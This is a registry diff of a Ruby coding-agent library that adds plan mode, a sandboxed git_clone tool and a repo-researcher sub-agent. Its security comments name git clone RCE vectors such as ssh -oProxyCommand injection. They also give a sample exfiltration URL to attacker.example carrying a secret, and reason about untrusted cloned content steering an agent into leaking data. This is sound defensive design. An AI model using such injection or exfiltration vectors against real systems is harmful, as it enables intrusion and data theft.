pikuri-code 0.0.6 → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +9 -8
- data/lib/pikuri/code/bash/passive_command_detector.rb +567 -0
- data/lib/pikuri/code/bash/sandbox.rb +387 -354
- data/lib/pikuri/code/bash/tokenizer.rb +310 -0
- data/lib/pikuri/code/bash.rb +206 -117
- data/lib/pikuri/code/enter_plan_mode.rb +55 -0
- data/lib/pikuri/code/exit_plan_mode.rb +85 -0
- data/lib/pikuri/code/extension.rb +164 -0
- data/lib/pikuri/code/git_clone.rb +57 -74
- data/lib/pikuri/code/git_repo_researcher.rb +18 -48
- data/lib/pikuri/code/plan_mode_changed.rb +24 -0
- data/lib/pikuri/code/toolchain_paths.rb +42 -98
- data/lib/pikuri-code.rb +4 -12
- data/prompts/coding-system-prompt.txt +18 -16
- data/prompts/persona-git-repo-researcher.txt +2 -1
- metadata +17 -14
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Pikuri
|
|
4
|
+
module Code
|
|
5
|
+
# An {Pikuri::Agent::Extension} wiring pikuri-code's own tools: {Bash}, the
|
|
6
|
+
# plan-mode pair ({EnterPlanMode} / {ExitPlanMode}), and {GitClone} as a
|
|
7
|
+
# sub-agent-only tool. Owns only this surface — callers add Skill / Tasks /
|
|
8
|
+
# Mcp / SubAgent extensions themselves.
|
|
9
|
+
#
|
|
10
|
+
# == Plan mode is opt-in via the read-only flag
|
|
11
|
+
#
|
|
12
|
+
# The plan-mode tools, {PLAN_MODE_PROMPT}, and the per-turn reminder are
|
|
13
|
+
# wired only when the host passes a {Pikuri::Workspace::ReadOnly} flag via
|
|
14
|
+
# +read_only:+ — and it must be the *same* instance handed to the
|
|
15
|
+
# file-editing tools (via {Pikuri::Workspace::Extension}'s +read_only:+), so
|
|
16
|
+
# their refusal and this reminder stay in lockstep. With no flag, {Bash} +
|
|
17
|
+
# {GitClone} still install but plan mode is unavailable. The transition is a
|
|
18
|
+
# {PlanModeChanged} domain event emitted from {#bind} — a pikuri-code
|
|
19
|
+
# concern, not a core event (the loop never reads plan mode).
|
|
20
|
+
#
|
|
21
|
+
# == Usage
|
|
22
|
+
#
|
|
23
|
+
# read_only = Pikuri::Workspace::ReadOnly.new
|
|
24
|
+
# Pikuri::Agent.new(...) do |c|
|
|
25
|
+
# c.add_extension Pikuri::Workspace::Extension.new(
|
|
26
|
+
# filesystem:, confirmer:, read_only: read_only
|
|
27
|
+
# )
|
|
28
|
+
# c.add_extension Pikuri::Code::Extension.new(
|
|
29
|
+
# filesystem: filesystem,
|
|
30
|
+
# confirmer: confirmer,
|
|
31
|
+
# sandbox: sandbox,
|
|
32
|
+
# read_only: read_only
|
|
33
|
+
# )
|
|
34
|
+
# end
|
|
35
|
+
class Extension
|
|
36
|
+
include Pikuri::Agent::Extension
|
|
37
|
+
|
|
38
|
+
# Tool classes whose pre-registration is rejected — the extension
|
|
39
|
+
# is the single owner of these, so a manually pre-registered copy
|
|
40
|
+
# would shadow the wiring done here.
|
|
41
|
+
TOOL_CLASSES = [Bash, EnterPlanMode, ExitPlanMode].freeze
|
|
42
|
+
|
|
43
|
+
# Static plan-mode explainer, appended *once* (and so prefix-cached) when
|
|
44
|
+
# plan mode is wired: mechanics + active-behavior contract, paid once. The
|
|
45
|
+
# per-turn {PLAN_MODE_REMINDER} is then a one-line re-assertion at the
|
|
46
|
+
# uncached tail. An extension-owned snippet that names its own tools (the
|
|
47
|
+
# persona/extension carve-out to "no tool names in a main prompt").
|
|
48
|
+
#
|
|
49
|
+
# @return [String]
|
|
50
|
+
PLAN_MODE_PROMPT = <<~PROMPT
|
|
51
|
+
<plan_mode>
|
|
52
|
+
You can work in plan mode — a read-only posture for researching and designing a change before writing any of it. Reach for enter_plan_mode before a non-trivial change (new features, multi-file edits, refactors, anything with several viable approaches); the user can also turn plan mode on directly. While it is active you will see a short reminder each turn.
|
|
53
|
+
|
|
54
|
+
While in plan mode:
|
|
55
|
+
- The file-editing tools are disabled and will refuse — do not try to create, overwrite, or edit files.
|
|
56
|
+
- Explore freely: read files, search the codebase, and run read-only shell commands.
|
|
57
|
+
- Work out a concrete plan — which files change, the change to each, and any trade-offs — and write it out.
|
|
58
|
+
- Call exit_plan_mode with that plan to present it for approval. Only start implementing once the user approves.
|
|
59
|
+
- If a requirement is genuinely ambiguous, ask the user directly rather than guessing.
|
|
60
|
+
</plan_mode>
|
|
61
|
+
PROMPT
|
|
62
|
+
|
|
63
|
+
# One-line per-turn re-assertion, injected as a reference block while
|
|
64
|
+
# plan mode is active (see {#on_user_message}). Deliberately tiny — it
|
|
65
|
+
# lands at the uncached tail, while the substantive prose lives cached in
|
|
66
|
+
# {PLAN_MODE_PROMPT}. Inlined rather than in +prompts/+ because it's one
|
|
67
|
+
# line.
|
|
68
|
+
#
|
|
69
|
+
# @return [String]
|
|
70
|
+
PLAN_MODE_REMINDER =
|
|
71
|
+
'Reminder: you are in plan mode (read-only) — research, design, ' \
|
|
72
|
+
'and brainstorm, but do not edit files.'
|
|
73
|
+
|
|
74
|
+
# Reason clause for a write/edit refusal *when plan mode is why the
|
|
75
|
+
# workspace is read-only*. Handed to {Pikuri::Workspace::ReadOnly} (via
|
|
76
|
+
# the host) so a refused Write/Edit names the recovery path
|
|
77
|
+
# (+exit_plan_mode+) instead of the generic
|
|
78
|
+
# {Pikuri::Workspace::ReadOnly::DEFAULT_MESSAGE}, which can't assume plan
|
|
79
|
+
# mode is the cause.
|
|
80
|
+
#
|
|
81
|
+
# @return [String]
|
|
82
|
+
PLAN_MODE_READONLY_MESSAGE =
|
|
83
|
+
'you are in plan mode (read-only). Add this change to your plan and ' \
|
|
84
|
+
'call exit_plan_mode to present it; you can apply it once the user approves.'
|
|
85
|
+
|
|
86
|
+
# @param filesystem [Pikuri::Workspace::Filesystem]
|
|
87
|
+
# @param confirmer [Pikuri::Workspace::Confirmer]
|
|
88
|
+
# @param sandbox [Pikuri::Code::Bash::Sandbox]
|
|
89
|
+
# @param read_only [Pikuri::Workspace::ReadOnly, nil] the shared read-only
|
|
90
|
+
# flag (same instance handed to {Pikuri::Workspace::Extension}). When
|
|
91
|
+
# present, plan-mode tools + prompt + reminder + event are wired; +nil+
|
|
92
|
+
# leaves plan mode unavailable.
|
|
93
|
+
# @param passive_detector [#passive?, nil] passive-command pre-approval
|
|
94
|
+
# predicate handed to {Bash} only ({Bash::PassiveCommandDetector}); the
|
|
95
|
+
# +exit_plan_mode+ gate always uses the bare +confirmer+.
|
|
96
|
+
def initialize(filesystem:, confirmer:, sandbox: Bash::Sandbox::NONE, read_only: nil,
|
|
97
|
+
passive_detector: nil)
|
|
98
|
+
@filesystem = filesystem
|
|
99
|
+
@confirmer = confirmer
|
|
100
|
+
@sandbox = sandbox
|
|
101
|
+
@read_only = read_only
|
|
102
|
+
@passive_detector = passive_detector
|
|
103
|
+
end
|
|
104
|
+
|
|
105
|
+
# @param c [Pikuri::Agent::Configurator]
|
|
106
|
+
# @return [void]
|
|
107
|
+
def configure(c)
|
|
108
|
+
TOOL_CLASSES.each do |cls|
|
|
109
|
+
if c.tools.any?(cls)
|
|
110
|
+
raise "#{cls} cannot be pre-registered when adding Pikuri::Code::Extension"
|
|
111
|
+
end
|
|
112
|
+
end
|
|
113
|
+
|
|
114
|
+
c.add_tool Bash.new(filesystem: @filesystem, confirmer: @confirmer, sandbox: @sandbox,
|
|
115
|
+
passive_detector: @passive_detector)
|
|
116
|
+
|
|
117
|
+
# Plan mode rides the host-owned read-only flag; only wire its
|
|
118
|
+
# tools when one was supplied (see the class header). The prompt
|
|
119
|
+
# half is contributed by {#system_prompt_snippets}.
|
|
120
|
+
if @read_only
|
|
121
|
+
c.add_tool EnterPlanMode.new(read_only: @read_only)
|
|
122
|
+
c.add_tool ExitPlanMode.new(read_only: @read_only, confirmer: @confirmer)
|
|
123
|
+
end
|
|
124
|
+
|
|
125
|
+
# Sub-agent-only (never visible to the parent) — it exists solely for
|
|
126
|
+
# the GIT_REPO_RESEARCHER persona.
|
|
127
|
+
c.add_sub_agent_tool GitClone.new(filesystem: @filesystem)
|
|
128
|
+
nil
|
|
129
|
+
end
|
|
130
|
+
|
|
131
|
+
# @return [Array<String>] the plan-mode prompt, only when the
|
|
132
|
+
# read-only flag is wired (so the prompt and the plan-mode tools
|
|
133
|
+
# appear together); otherwise none.
|
|
134
|
+
def system_prompt_snippets = @read_only ? [PLAN_MODE_PROMPT] : []
|
|
135
|
+
|
|
136
|
+
# Bridge plan-mode transitions onto the listener stream so UI chrome can
|
|
137
|
+
# render the posture — both model-driven ({EnterPlanMode} / {ExitPlanMode})
|
|
138
|
+
# and host-driven flips. No-op when plan mode isn't wired.
|
|
139
|
+
#
|
|
140
|
+
# @param ctx [Pikuri::Agent::ExtensionContext]
|
|
141
|
+
# @return [void]
|
|
142
|
+
def bind(ctx)
|
|
143
|
+
return nil unless @read_only
|
|
144
|
+
|
|
145
|
+
@read_only.on_change { |active| ctx.emit_event(PlanModeChanged.new(active: active)) }
|
|
146
|
+
nil
|
|
147
|
+
end
|
|
148
|
+
|
|
149
|
+
# Inject {PLAN_MODE_REMINDER} on every turn plan mode is active — the
|
|
150
|
+
# soft half of the defense, re-asserting the posture
|
|
151
|
+
# even when the *host* engaged it and the model never saw a tool call.
|
|
152
|
+
# +nil+ (inject nothing) when plan mode is off or unwired.
|
|
153
|
+
#
|
|
154
|
+
# @param _ctx [Pikuri::Agent::ExtensionContext]
|
|
155
|
+
# @param _content [String]
|
|
156
|
+
# @return [String, nil]
|
|
157
|
+
def on_user_message(_ctx, _content)
|
|
158
|
+
return nil unless @read_only&.active?
|
|
159
|
+
|
|
160
|
+
PLAN_MODE_REMINDER
|
|
161
|
+
end
|
|
162
|
+
end
|
|
163
|
+
end
|
|
164
|
+
end
|
|
@@ -5,69 +5,44 @@ require 'uri'
|
|
|
5
5
|
|
|
6
6
|
module Pikuri
|
|
7
7
|
module Code
|
|
8
|
-
# The +git_clone+ tool — shallow-clone a public git repository into
|
|
9
|
-
#
|
|
10
|
-
#
|
|
11
|
-
#
|
|
12
|
-
#
|
|
13
|
-
#
|
|
14
|
-
#
|
|
15
|
-
#
|
|
16
|
-
# The bundled +researcher+ persona can web_search / web_scrape /
|
|
17
|
-
# fetch, which is great for "look up one fact" but inefficient when
|
|
18
|
-
# the task is "dig through opencode's source for how it does X."
|
|
19
|
-
# The pattern *N pages of HTML scraping* is much worse than
|
|
20
|
-
# *one shallow clone + grep*. This tool plus
|
|
21
|
-
# {Pikuri::Code::GIT_REPO_RESEARCHER} (the persona that wires it
|
|
22
|
-
# together with workspace-scoped read/grep/glob) is the answer.
|
|
8
|
+
# The +git_clone+ tool — shallow-clone a public git repository into the
|
|
9
|
+
# workspace. +Code::GitClone.new(filesystem: fs)+ produces a tool whose
|
|
10
|
+
# +execute+ closes over the filesystem and a lazily-minted
|
|
11
|
+
# {Bash::Sandbox::Bubblewrap}. Its home is
|
|
12
|
+
# {Pikuri::Code::GIT_REPO_RESEARCHER}: *one shallow clone + grep* beats
|
|
13
|
+
# *N pages of HTML scraping* when the task is "dig through this repo's
|
|
14
|
+
# source for how it does X".
|
|
23
15
|
#
|
|
24
16
|
# == Threat model
|
|
25
17
|
#
|
|
26
|
-
# Git clone is not "just reading files
|
|
27
|
-
#
|
|
28
|
-
#
|
|
29
|
-
#
|
|
30
|
-
#
|
|
31
|
-
#
|
|
32
|
-
# via symlinks.
|
|
33
|
-
# * CVE-2017-1000117 — +ssh://+ URL arg injection
|
|
34
|
-
# (+ssh://-oProxyCommand=...+) → arbitrary command execution.
|
|
35
|
-
# * +.gitattributes+ filter drivers, +.git/config+ +core.fsmonitor+
|
|
36
|
-
# /+core.sshCommand+ — code paths that run during clone /
|
|
37
|
-
# checkout.
|
|
38
|
-
#
|
|
39
|
-
# Mitigations baked in here:
|
|
40
|
-
#
|
|
41
|
-
# 1. **HTTPS/HTTP only.** {VALID_SCHEMES} is +%w[https http]+;
|
|
42
|
-
# +ssh://+, +git://+, +file://+, +ext::+, and anything else are
|
|
43
|
-
# refused at the tool layer before +git+ sees the string.
|
|
44
|
-
# 2. **No submodule recursion.** +--no-recurse-submodules+ kills
|
|
45
|
-
# the CVE-2024-32002 class.
|
|
46
|
-
# 3. **Shallow clone.** +--depth 1+ skips history (fewer ref
|
|
47
|
-
# parsing edge cases, faster, smaller).
|
|
48
|
-
# 4. **Bubblewrap-sandboxed subprocess.** The +git+ binary runs
|
|
49
|
-
# inside {Bash::Sandbox::Bubblewrap} bound to the persona's
|
|
50
|
-
# fresh temp workspace — no host +~/.ssh+, no +~/.gitconfig+,
|
|
51
|
-
# no other projects' source, no container sockets. A
|
|
52
|
-
# clone-RCE blast radius is the persona's throwaway workspace.
|
|
53
|
-
#
|
|
54
|
-
# The Bubblewrap instance is minted lazily on first +execute+,
|
|
55
|
-
# not at construction — the boot-time GitClone wired by
|
|
56
|
-
# +bin/pikuri-code+ never runs (it lives in the sub-agent-only
|
|
57
|
-
# pool), and gets replaced by a fresh-workspace clone via
|
|
58
|
-
# {#with_workspace} the moment a +git_repo_researcher+ session
|
|
59
|
-
# starts. Eager construction would pay the ~+bwrap+ probe cost on
|
|
60
|
-
# every coding-agent boot for no reason.
|
|
18
|
+
# Git clone is not "just reading files" — hostile upstream has a history of
|
|
19
|
+
# RCEs (CVE-2024-32002 submodule+symlink escape; CVE-2022-39253 +--local+
|
|
20
|
+
# arbitrary-file read; CVE-2017-1000117 +ssh://-oProxyCommand=...+ arg
|
|
21
|
+
# injection; +.gitattributes+ filter drivers and +.git/config+
|
|
22
|
+
# +core.fsmonitor+/+core.sshCommand+ code paths that run during checkout).
|
|
23
|
+
# Mitigations baked in:
|
|
61
24
|
#
|
|
62
|
-
#
|
|
25
|
+
# 1. **HTTPS/HTTP only.** {VALID_SCHEMES}; +ssh://+/+git://+/+file://+/
|
|
26
|
+
# +ext::+ are refused before +git+ sees the string.
|
|
27
|
+
# 2. **No submodule recursion.** +--no-recurse-submodules+ kills the
|
|
28
|
+
# CVE-2024-32002 class.
|
|
29
|
+
# 3. **Shallow clone.** +--depth 1+ (fewer ref-parsing edge cases).
|
|
30
|
+
# 4. **Bubblewrap-sandboxed.** +git+ runs inside {Bash::Sandbox::Bubblewrap}
|
|
31
|
+
# bound to the persona's fresh temp workspace — no host +~/.ssh+, no
|
|
32
|
+
# +~/.gitconfig+, no other projects' source, no container sockets. A
|
|
33
|
+
# clone-RCE's blast radius is the throwaway workspace.
|
|
63
34
|
#
|
|
64
|
-
#
|
|
65
|
-
#
|
|
66
|
-
#
|
|
35
|
+
# The Bubblewrap instance is minted lazily on first +execute+, not at
|
|
36
|
+
# construction: the boot-time GitClone wired by +bin/pikuri-code+ lives in
|
|
37
|
+
# the sub-agent-only pool and never runs — it's replaced via
|
|
38
|
+
# {#with_workspace} when a +git_repo_researcher+ session starts, so eager
|
|
39
|
+
# construction would pay the +bwrap+ probe cost on every boot for nothing.
|
|
67
40
|
#
|
|
68
|
-
#
|
|
69
|
-
#
|
|
70
|
-
#
|
|
41
|
+
# Sharing: +P_one_agent+ — an instance is bound to one session's temp
|
|
42
|
+
# workspace, which is the whole point (a clone-RCE's blast radius is *that*
|
|
43
|
+
# throwaway tree). +with_workspace+ mints the per-session copy. The lazy
|
|
44
|
+
# sandbox memo is unguarded, so a shared instance could also pay the +bwrap+
|
|
45
|
+
# probe twice.
|
|
71
46
|
class GitClone < Pikuri::Tool
|
|
72
47
|
# URL schemes accepted. +https+ first (TLS) and +http+ as a
|
|
73
48
|
# fallback for the rare public mirror. All other schemes are
|
|
@@ -88,21 +63,21 @@ module Pikuri
|
|
|
88
63
|
- URL must be `https://` (preferred) or `http://`. Any other scheme (`ssh://`, `git://`, `file://`) is refused.
|
|
89
64
|
- Always cloned with `--depth 1 --no-recurse-submodules`; you get the current tip, no history, no submodules.
|
|
90
65
|
- Target directory name is derived from the URL's last segment (without `.git`). If that directory already exists, the call fails — pick a different URL or work with what you cloned.
|
|
91
|
-
- On success returns the relative path to the cloned repo; use `read`, `grep`, `glob` to navigate it.
|
|
66
|
+
- On success returns the relative path to the cloned repo; use `file_list`, `read`, `grep`, `glob` to navigate it.
|
|
92
67
|
- Clones run inside a sandbox bound to your workspace — host files, SSH keys, and `~/.gitconfig` are NOT visible to the cloned repo's hooks/filters.
|
|
93
68
|
DESC
|
|
94
69
|
|
|
95
|
-
# @param
|
|
70
|
+
# @param filesystem [Pikuri::Workspace::Filesystem] captured for
|
|
96
71
|
# the clone target root and the sandbox bind set.
|
|
97
72
|
# @param sandbox [Bash::Sandbox, nil] optional sandbox override
|
|
98
73
|
# (defaults to a lazily-minted {Bash::Sandbox::Bubblewrap}
|
|
99
|
-
# bound to +
|
|
74
|
+
# bound to +filesystem+). Pass {Bash::Sandbox::NONE} in tests
|
|
100
75
|
# that don't have +bwrap+ on +PATH+; production wiring leaves
|
|
101
76
|
# it +nil+ so the Bubblewrap mint happens at the right moment
|
|
102
|
-
# (after {#with_workspace} replaces the
|
|
77
|
+
# (after {#with_workspace} replaces the filesystem).
|
|
103
78
|
# @return [GitClone]
|
|
104
|
-
def initialize(
|
|
105
|
-
@
|
|
79
|
+
def initialize(filesystem:, sandbox: nil)
|
|
80
|
+
@filesystem = filesystem
|
|
106
81
|
@sandbox = sandbox
|
|
107
82
|
super(
|
|
108
83
|
name: 'git_clone',
|
|
@@ -114,19 +89,27 @@ module Pikuri
|
|
|
114
89
|
'"https://github.com/anomalyco/opencode.git". ' \
|
|
115
90
|
'Other schemes are refused.'
|
|
116
91
|
},
|
|
117
|
-
execute: ->(url:) { execute_clone(url: url) }
|
|
92
|
+
execute: ->(url:) { execute_clone(url: url) },
|
|
93
|
+
# A *readable* egress verb, same family as {Pikuri::Tool::FETCH} and
|
|
94
|
+
# not a softer one: the clone host is chosen by whoever wrote the URL,
|
|
95
|
+
# so `clone https://attacker.example/?q=<SECRET>` reaches a server the
|
|
96
|
+
# attacker reads. The cloned tree is then attacker-authored content.
|
|
97
|
+
trifecta_legs: Pikuri::Tool::TrifectaLegs::ASSUMED
|
|
118
98
|
)
|
|
119
99
|
end
|
|
120
100
|
|
|
121
|
-
# Produce a new {GitClone} bound to +workspace
|
|
122
|
-
#
|
|
123
|
-
#
|
|
124
|
-
#
|
|
101
|
+
# Produce a new {GitClone} bound to the session +workspace+'s bare
|
|
102
|
+
# {Pikuri::Workspace::Workspace#filesystem}. The +with_workspace+ protocol
|
|
103
|
+
# ({Pikuri::SubAgent::SubAgentTool}) hands rebuilt tools the composite,
|
|
104
|
+
# but GitClone's {Bash::Sandbox::Bubblewrap} needs the bare {Filesystem}'s
|
|
105
|
+
# +readable+/+writable+/+temp+, so it reads +workspace.filesystem+ here.
|
|
106
|
+
# The sandbox is NOT carried over — a fresh Bubblewrap is minted lazily
|
|
107
|
+
# from the new filesystem (its bind set depends on that filesystem).
|
|
125
108
|
#
|
|
126
|
-
# @param workspace [Pikuri::Workspace::
|
|
109
|
+
# @param workspace [Pikuri::Workspace::Workspace]
|
|
127
110
|
# @return [GitClone]
|
|
128
111
|
def with_workspace(workspace)
|
|
129
|
-
self.class.new(
|
|
112
|
+
self.class.new(filesystem: workspace.filesystem)
|
|
130
113
|
end
|
|
131
114
|
|
|
132
115
|
private
|
|
@@ -134,7 +117,7 @@ module Pikuri
|
|
|
134
117
|
# Mint the sandbox on first use, cache for subsequent calls.
|
|
135
118
|
# See class header for why this isn't eager.
|
|
136
119
|
def sandbox
|
|
137
|
-
@sandbox ||= Bash::Sandbox::Bubblewrap.new(
|
|
120
|
+
@sandbox ||= Bash::Sandbox::Bubblewrap.new(filesystem: @filesystem)
|
|
138
121
|
end
|
|
139
122
|
|
|
140
123
|
def execute_clone(url:)
|
|
@@ -142,7 +125,7 @@ module Pikuri
|
|
|
142
125
|
return uri if uri.is_a?(String) # error message
|
|
143
126
|
|
|
144
127
|
target_name = derive_target_name(uri)
|
|
145
|
-
target_path = @
|
|
128
|
+
target_path = @filesystem.project_root.join(target_name)
|
|
146
129
|
if target_path.exist?
|
|
147
130
|
return "Error: target directory #{target_name.inspect} already exists in the workspace."
|
|
148
131
|
end
|
|
@@ -152,7 +135,7 @@ module Pikuri
|
|
|
152
135
|
'git', 'clone', '--depth', '1', '--no-recurse-submodules', '--quiet',
|
|
153
136
|
'--', url, target_name
|
|
154
137
|
])
|
|
155
|
-
result = Pikuri::Subprocess.spawn(*argv, chdir: @
|
|
138
|
+
result = Pikuri::Subprocess.spawn(*argv, chdir: @filesystem.project_root.to_s).wait
|
|
156
139
|
|
|
157
140
|
if result.status.success?
|
|
158
141
|
"Cloned #{url} → #{target_name}/ (depth=1, no submodules)."
|
|
@@ -187,7 +170,7 @@ module Pikuri
|
|
|
187
170
|
# for path-less URLs. The basename is intentionally taken from
|
|
188
171
|
# the parsed URI so path-traversal segments (+..+) in the URL
|
|
189
172
|
# collapse to harmless directory names — the clone still lands
|
|
190
|
-
# inside +
|
|
173
|
+
# inside +filesystem.project_root+ because the +chdir+ + the
|
|
191
174
|
# workspace containment check on subsequent reads enforce it.
|
|
192
175
|
def derive_target_name(uri)
|
|
193
176
|
name = File.basename(uri.path.to_s)
|
|
@@ -3,61 +3,31 @@
|
|
|
3
3
|
module Pikuri
|
|
4
4
|
module Code
|
|
5
5
|
# Bundled "clone-and-dig" persona. Where {Pikuri::SubAgent::RESEARCHER}
|
|
6
|
-
# answers "look up one fact online", +GIT_REPO_RESEARCHER+ answers
|
|
7
|
-
#
|
|
8
|
-
#
|
|
9
|
-
#
|
|
10
|
-
#
|
|
11
|
-
#
|
|
12
|
-
#
|
|
13
|
-
#
|
|
14
|
-
#
|
|
15
|
-
#
|
|
16
|
-
#
|
|
17
|
-
#
|
|
18
|
-
#
|
|
19
|
-
#
|
|
20
|
-
#
|
|
21
|
-
#
|
|
22
|
-
#
|
|
23
|
-
# == Per-invocation workspace
|
|
24
|
-
#
|
|
25
|
-
# The persona signals +needs_temp_workspace: true+ — that's all.
|
|
26
|
-
# {Pikuri::SubAgent::SubAgentTool} owns the lifecycle: mktmpdir +
|
|
27
|
-
# construct a {Pikuri::Workspace::Filesystem} with the temp dir
|
|
28
|
-
# as +project_root+ + {Pikuri::SubAgent::SubAgentTool::TEMP_WORKSPACE_READABLE}
|
|
29
|
-
# folded into +readable:+ (so the Bubblewrap-wrapped +git+
|
|
30
|
-
# subprocess can find its binary under +/usr+) +
|
|
31
|
-
# +FileUtils.remove_entry+ on the temp dir at sub-agent close.
|
|
32
|
-
# The persona has no say in shape or cleanup.
|
|
33
|
-
#
|
|
34
|
-
# The persona's filesystem view is *disjoint* from the parent's:
|
|
35
|
-
# a cloned repo cannot leave files where the parent's +read+
|
|
36
|
-
# tool would later find them (containment check rejects paths
|
|
37
|
-
# outside the parent's +project_root+), so string paths
|
|
38
|
-
# exfiltrated through the persona's reply are inert.
|
|
39
|
-
#
|
|
40
|
-
# == Security profile
|
|
41
|
-
#
|
|
42
|
-
# Trifecta-wise, the persona is the same shape as
|
|
43
|
-
# {Pikuri::SubAgent::RESEARCHER}: leg (a) "private data" is
|
|
44
|
-
# structurally near-zero (no project_root access, no home dir
|
|
45
|
-
# access — only the temp workspace + what it just downloaded);
|
|
46
|
-
# legs (b)/(c) are present (untrusted cloned content + network
|
|
47
|
-
# egress) but harmless without (a). The one wrinkle vs.
|
|
48
|
-
# RESEARCHER is the historical RCE class on +git clone+ itself
|
|
49
|
-
# — addressed by {GitClone}'s HTTPS-only + no-submodules + the
|
|
50
|
-
# Bubblewrap sandbox bound to the temp workspace. See
|
|
51
|
-
# {Pikuri::Code::GitClone} for the full mitigation list.
|
|
6
|
+
# answers "look up one fact online", +GIT_REPO_RESEARCHER+ answers "explore
|
|
7
|
+
# that repo's source for how it does X". Toolset is +git_clone+ +
|
|
8
|
+
# +file_list+/+read+/+grep+/+glob+ (rebuilt onto the fresh workspace by
|
|
9
|
+
# {Pikuri::SubAgent::SubAgentTool}) + the RESEARCHER network reads
|
|
10
|
+
# (+web_search+/+web_scrape+/+fetch+). No +bash+/+edit+/+write+/+agent+.
|
|
11
|
+
#
|
|
12
|
+
# It signals +needs_temp_workspace: true+ and nothing more;
|
|
13
|
+
# {Pikuri::SubAgent::SubAgentTool} owns the temp-dir lifecycle. That view is
|
|
14
|
+
# *disjoint* from the parent's, so a path a cloned repo exfiltrates through
|
|
15
|
+
# the persona's reply is inert (the parent's containment check rejects it).
|
|
16
|
+
#
|
|
17
|
+
# Trifecta-wise, same shape as {Pikuri::SubAgent::RESEARCHER}: leg (a)
|
|
18
|
+
# private data is near-zero (only the temp workspace + what it downloaded),
|
|
19
|
+
# so legs (b)/(c) — untrusted content + egress — are harmless. The one
|
|
20
|
+
# wrinkle is the historical RCE class on +git clone+ itself, addressed by
|
|
21
|
+
# {GitClone}'s HTTPS-only + no-submodules + Bubblewrap sandbox.
|
|
52
22
|
#
|
|
53
23
|
# @return [Pikuri::SubAgent::Persona]
|
|
54
24
|
GIT_REPO_RESEARCHER = Pikuri::SubAgent::Persona.new(
|
|
55
25
|
name: 'git_repo_researcher',
|
|
56
|
-
description: 'Clone a public git repo and explore it with read/grep/glob. ' \
|
|
26
|
+
description: 'Clone a public git repo and explore it with file_list/read/grep/glob. ' \
|
|
57
27
|
'Use when you need to dig through a repository\'s actual source, ' \
|
|
58
28
|
'not just a page about it. Also has web_search/web_scrape/fetch. ' \
|
|
59
29
|
'Returns one paragraph + citations.',
|
|
60
|
-
tool_names: %w[git_clone read grep glob web_search web_scrape fetch].freeze,
|
|
30
|
+
tool_names: %w[git_clone file_list read grep glob web_search web_scrape fetch].freeze,
|
|
61
31
|
system_prompt: Pikuri.prompt('persona-git-repo-researcher'),
|
|
62
32
|
max_steps: 30,
|
|
63
33
|
needs_temp_workspace: true
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Pikuri
|
|
4
|
+
module Code
|
|
5
|
+
# Domain event emitted onto the listener stream whenever plan mode
|
|
6
|
+
# transitions — model-driven ({EnterPlanMode} / {ExitPlanMode}) or
|
|
7
|
+
# host-driven. Wired by {Extension#bind} through the shared
|
|
8
|
+
# {Pikuri::Workspace::ReadOnly} flag's +on_change+. A pikuri-code *domain*
|
|
9
|
+
# event, not a core {Pikuri::Agent::Event} — the loop never reads plan
|
|
10
|
+
# mode; listeners that don't care no-op on it (the demo
|
|
11
|
+
# {Pikuri::Agent::Listener::Terminal} renders it generically via {#to_s}).
|
|
12
|
+
#
|
|
13
|
+
# Carries only the new posture, so a UI listener can render an indicator
|
|
14
|
+
# without touching the flag. A host flip fires on the host's thread, a model
|
|
15
|
+
# flip on the agent's — treat the boolean as the latest authoritative state.
|
|
16
|
+
PlanModeChanged = Data.define(:active) do
|
|
17
|
+
# @return [String] human-facing label; the Terminal demo prints it
|
|
18
|
+
# verbatim, so the wording lives here, not in core.
|
|
19
|
+
def to_s
|
|
20
|
+
"plan mode: #{active ? 'on (read-only)' : 'off'}"
|
|
21
|
+
end
|
|
22
|
+
end
|
|
23
|
+
end
|
|
24
|
+
end
|
|
@@ -2,129 +2,73 @@
|
|
|
2
2
|
|
|
3
3
|
module Pikuri
|
|
4
4
|
module Code
|
|
5
|
-
# Curated
|
|
6
|
-
#
|
|
7
|
-
#
|
|
8
|
-
#
|
|
9
|
-
#
|
|
10
|
-
#
|
|
11
|
-
# coding binary built on pikuri-code) feeds into
|
|
12
|
-
# +Pikuri::Workspace::Filesystem.new(readable: ...)+ alongside the
|
|
13
|
-
# skill catalog's roots, and into
|
|
14
|
-
# +Pikuri::Code::Bash::Sandbox::Bubblewrap.new(ephemeral_overlay: ...)+
|
|
15
|
-
# for the overlay layer.
|
|
5
|
+
# Curated list of filesystem prefixes a coding agent benefits from seeing:
|
|
6
|
+
# system toolchains under +/usr+/+/opt+, per-user toolchain managers
|
|
7
|
+
# (mise/asdf/rbenv/pyenv/nvm/rustup), and the per-user dependency caches the
|
|
8
|
+
# toolchains mutate (Gradle, Maven, Cargo, npm, pip, …). Not a tool — a
|
|
9
|
+
# config helper +bin/pikuri-code+ feeds into
|
|
10
|
+
# +Filesystem.new(readable: …)+ alongside the skill catalog's roots.
|
|
16
11
|
#
|
|
17
|
-
#
|
|
18
|
-
#
|
|
19
|
-
#
|
|
20
|
-
#
|
|
21
|
-
#
|
|
22
|
-
#
|
|
23
|
-
#
|
|
24
|
-
#
|
|
25
|
-
#
|
|
26
|
-
#
|
|
27
|
-
#
|
|
28
|
-
# * {.readable} — true read-only: system toolchains (+/usr+,
|
|
29
|
-
# +/opt+) and per-user toolchain managers (+~/.rbenv+, +~/.pyenv+,
|
|
30
|
-
# +~/.nvm+, +~/.asdf+, +~/.rustup+, +~/.local/share/mise+, +~/.config/mise+).
|
|
31
|
-
# The user installed these out-of-band; the LLM should be able
|
|
32
|
-
# to grep them but neither write nor *appear* to write to them.
|
|
33
|
-
# Bubblewrap +--ro-bind+'s each.
|
|
34
|
-
# * {.ephemeral_overlay} — per-user dependency caches the
|
|
35
|
-
# toolchain itself mutates when invoked: subdirs of +~/.gradle+,
|
|
36
|
-
# +~/.m2/repository+, +~/.cargo/registry+, +~/.ivy2/cache+,
|
|
37
|
-
# +~/go/pkg/mod+, +~/.cache/pip+, +~/.cache/uv+, +~/.npm+, the
|
|
38
|
-
# pnpm store, +~/.nuget/packages+. The toolchain *needs* to
|
|
39
|
-
# write to these (Gradle's journal/locks, Maven downloading a
|
|
40
|
-
# new dep, …), but persistent host pollution from a poisoned
